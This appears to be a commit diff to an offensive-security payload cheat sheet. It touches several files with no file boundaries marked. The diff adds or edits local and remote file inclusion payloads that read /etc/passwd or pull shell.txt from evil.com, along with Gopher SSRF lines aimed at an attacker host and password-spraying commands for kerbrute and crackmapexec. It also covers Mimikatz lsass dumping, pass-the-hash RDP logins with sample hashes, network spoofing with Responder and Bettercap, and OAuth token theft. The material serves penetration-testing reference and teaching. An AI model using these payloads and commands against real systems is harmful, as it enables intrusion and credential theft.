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Masscan + AD password in description + ZSH revshell bugfix + Mimikatz lsass.dmp
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Swissky
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@ -7,6 +7,10 @@
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## Summary
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* [Basic LFI](#basic-lfi)
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* [Null byte](#null-byte)
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* [Double encoding](#double-encoding)
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* [Path truncation](#path-truncation)
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* [Filter bypass tricks](#filter-bypass-tricks)
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* [Basic RFI](#basic-rfi)
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* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
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* [Wrapper php://filter](#wrapper-phpfilter)
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@ -31,27 +35,30 @@ In the following examples we include the `/etc/passwd` file, check the `Director
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http://example.com/index.php?page=../../../etc/passwd
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```
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Null byte
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### Null byte
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```powershell
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http://example.com/index.php?page=../../../etc/passwd%00
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```
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Double encoding
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### Double encoding
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```powershell
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http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
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http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
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```
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Path truncation
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### Path truncation
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On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
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```powershell
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http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
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http://example.com/index.php?page=../../../etc/passwd/././././././././/././././././././././[ADD MORE]
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http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd
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```
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Filter bypass tricks
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### Filter bypass tricks
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```powershell
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http://example.com/index.php?page=....//....//etc/passwd
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@ -65,13 +72,13 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
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http://example.com/index.php?page=http://evil.com/shell.txt
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```
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Null byte
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### Null byte
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```powershell
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http://example.com/index.php?page=http://evil.com/shell.txt%00
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```
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Double encoding
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### Double encoding
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```powershell
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http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
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@ -285,3 +292,4 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
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* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
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* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
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* [Local file inclusion mini list - Penetrate.io](https://penetrate.io/2014/09/25/local-file-inclusion-mini-list/)
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* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
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@ -307,6 +307,8 @@ cme smb 10.10.0.202 -u username -p password --ntds vss
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enum4linux | grep -i desc
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There are 3-4 fields that seem to be common in most AD schemas:
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UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
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Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
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```
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### PassTheTicket Golden Tickets
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@ -563,13 +565,21 @@ Alternatively you can use the Metasploit module
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### Password spraying
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Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
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Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
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Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing.
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```powershell
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root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
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root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
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```
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Using `crackmapexec` and `mp64` to generate passwords and spray them against SMB services on the network.
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```powershell
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crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
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```
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Most of the time the best passwords to spray are :
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- Password1
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@ -8,6 +8,7 @@
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* The Harvester
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* [Active Recon](#active-recon)
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* Masscan
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* Nmap
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* Nmap Script
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* RPCClient
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@ -47,6 +48,13 @@
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## Active recon
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* Masscan
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```powershell
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masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out
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masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
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```
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* Basic NMAP
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```bash
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@ -1,38 +1,14 @@
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# Network Discovery
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## Netdiscover
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## Summary
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```powershell
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netdiscover -i eth0 -r 192.168.1.0/24
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Currently scanning: Finished! | Screen View: Unique Hosts
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20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876
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_____________________________________________________________________________
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IP At MAC Address Count Len MAC Vendor / Hostname
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-----------------------------------------------------------------------------
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192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom
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192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor
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192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc.
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192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD
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```
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## Responder
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```powershell
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responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding.
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responder.py -I eth0 -wrf
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```
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Alternatively you can use the [Windows version](https://github.com/lgandx/Responder-Windows)
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## Bettercap
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```powershell
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bettercap -X --proxy --proxy-https -T <target IP>
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# better cap in spoofing, discovery, sniffer
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# intercepting http and https requests,
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# targetting specific IP only
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```
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- [Nmap](#nmap)
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- [Masscan](#masscan)
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- [Netdiscover](#netdiscover)
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- [Responder](#responder)
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- [Bettercap](#bettercap)
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- [Reconnoitre](#reconnoitre)
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- [References](#references)
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## Nmap
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@ -121,6 +97,13 @@ Host script results:
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List Nmap scripts : ls /usr/share/nmap/scripts/
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```
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## Masscan
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```powershell
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masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out
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masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
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```
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## Reconnoitre
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Dependencies:
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@ -135,6 +118,40 @@ python2.7 ./reconnoitre.py -t 192.168.1.2-252 -o ./results/ --pingsweep --hostna
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If you have a segfault with nbtscan, read the following quote.
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> Permission is denied on the broadcast address (.0) and it segfaults on the gateway (.1) - all other addresses seem fine here.So to mitigate the problem: nbtscan 192.168.0.2-255
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## Netdiscover
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```powershell
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netdiscover -i eth0 -r 192.168.1.0/24
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Currently scanning: Finished! | Screen View: Unique Hosts
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20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876
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_____________________________________________________________________________
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IP At MAC Address Count Len MAC Vendor / Hostname
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-----------------------------------------------------------------------------
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192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom
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192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor
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192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc.
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192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD
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```
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## Responder
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```powershell
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responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding.
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responder.py -I eth0 -wrf
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```
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Alternatively you can use the [Windows version](https://github.com/lgandx/Responder-Windows)
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## Bettercap
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```powershell
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bettercap -X --proxy --proxy-https -T <target IP>
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# better cap in spoofing, discovery, sniffer
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# intercepting http and https requests,
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# targetting specific IP only
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```
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## References
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* [TODO](TODO)
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@ -234,13 +234,22 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
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## Spawn TTY Shell
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Access shortcuts, su, nano and autocomplete in a partially tty shell
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/!\ OhMyZSH might break this trick, a simple `sh` is recommended
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> The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
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```powershell
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ctrl+z
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echo $TERM && tput lines && tput cols
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# for bash
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stty raw -echo
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fg
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# for zsh
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stty raw -echo; fg
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reset
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export SHELL=bash
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export TERM=xterm-256color
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@ -26,6 +26,25 @@ mimikatz_command -f sekurlsa::logonPasswords full
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mimikatz_command -f sekurlsa::wdigest
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```
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## Mimikatz - Mini Dump
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Dump the lsass process.
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```powershell
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C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
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net use Z: https://live.sysinternals.com
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Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
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```
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Then load it inside Mimikatz.
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```powershell
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mimikatz # sekurlsa::minidump lsass.dmp
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Switch to minidump
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mimikatz # sekurlsa::logonPasswords
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```
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## Mimikatz Golden ticket
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```powershell
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@ -119,18 +119,20 @@ or with crackmapexec
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crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
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```
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For Server 2012 R2, Win8.1+
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```powershell
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xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:192.168.1.12
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```
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with Metasploit
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or with Metasploit
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```powershell
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run getgui -u admin -p 1234
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```
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Then log in using xfreerdp
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```powershell
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xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+
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xfreerd /u:runner /v:10.0.0.1 # password will be asked
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```
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## Netuse (Windows)
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```powershell
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@ -1,4 +1,20 @@
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# OAuth 2 - Common vulnerabilities
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# OAuth
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## Summary
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- [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer)
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- [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect---uri)
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- [Executing XSS via redirect_uri](#executing-xss-via-redirect---uri)
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- [OAuth private key disclosure](#oauth-private-key-disclosure)
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- [Authorization Code Rule Violation](#authorization-code-rule-violation)
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- [Cross-Site Request Forgery](#cross-site-request-forgery)
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- [References](#references)
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## Stealing OAuth Token via referer
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From [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544) tweet.
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> Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer
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## Grabbing OAuth Token via redirect_uri
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@ -2,7 +2,7 @@
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A list of useful payloads and bypasses for Web Application Security.
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Feel free to improve with your payloads and techniques !
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I <3 pull requests :)
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I :heart: pull requests :)
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You can also contribute with a beer IRL or with `buymeacoffee.com`
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@ -277,6 +277,13 @@ You didn't say the magic word !
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QUIT
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```
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#### Gopher HTTP
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```powershell
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gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
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gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
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```
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#### Gopher SMTP - Back connect to 1337
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```php
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@ -930,7 +930,6 @@ anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxld
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- [Three Stored XSS in Facebook](http://www.breaksec.com/?p=6129) by Nirgoldshlager
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- [Using a Braun Shaver to Bypass XSS Audit and WAF](https://blog.bugcrowd.com/guest-blog-using-a-braun-shaver-to-bypass-xss-audit-and-waf-by-frans-rosen-detectify) by Frans Rosen
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- [An XSS on Facebook via PNGs & Wonky Content Types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/) by Jack Whitton
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- he is able to make stored XSS from a irrelevant domain to main facebook domain
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- [Stored XSS in *.ebay.com](https://whitton.io/archive/persistent-xss-on-myworld-ebay-com/) by Jack Whitton
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- [Complicated, Best Report of Google XSS](https://sites.google.com/site/bughunteruniversity/best-reports/account-recovery-xss) by Ramzes
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- [Tricky Html Injection and Possible XSS in sms-be-vip.twitter.com](https://hackerone.com/reports/150179) by secgeek
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